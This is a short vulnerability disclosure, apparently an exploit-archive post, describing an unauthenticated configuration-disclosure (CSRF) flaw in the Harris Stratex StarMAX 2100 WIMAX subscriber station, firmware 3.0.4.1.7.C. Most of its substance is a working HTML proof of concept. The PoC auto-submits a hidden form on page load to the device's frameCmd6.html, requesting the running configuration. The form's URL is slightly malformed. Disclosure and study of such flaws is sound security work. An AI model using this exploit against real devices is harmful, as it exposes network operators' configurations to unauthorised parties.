29 lines
No EOL
801 B
HTML
29 lines
No EOL
801 B
HTML
I found CSRF vulnerability in Harris Stratex WIMAX 2100 subscriber
|
|
station.Using this code i am able to view the current configuration of the
|
|
subscriber station without authentication from both LAN & WAN
|
|
|
|
# Software Link:http://securityvulns.com/Wdocument736.html
|
|
# Version: 3.0.4.1.7.C
|
|
# Tested on: Any os
|
|
# CVE : No
|
|
|
|
Product :StarMAX 2100 WIMAX subscriber station
|
|
Affected Application Version: 3.0.4.1.7.C
|
|
Vendor submission:07-04-2009
|
|
Vendor Response:No
|
|
Vulnerability:Able to view the running configuration without authentication
|
|
from both LAN & WAN
|
|
|
|
<html>
|
|
<body>
|
|
<body onload="config.submit();">
|
|
<form name=config method="get" action="http:192.168.1.1/frameCmd6.html">
|
|
<input type=hidden name=showRunConfig value="Current Configuration">
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
Thanks
|
|
Kalyan
|
|
Security researcher |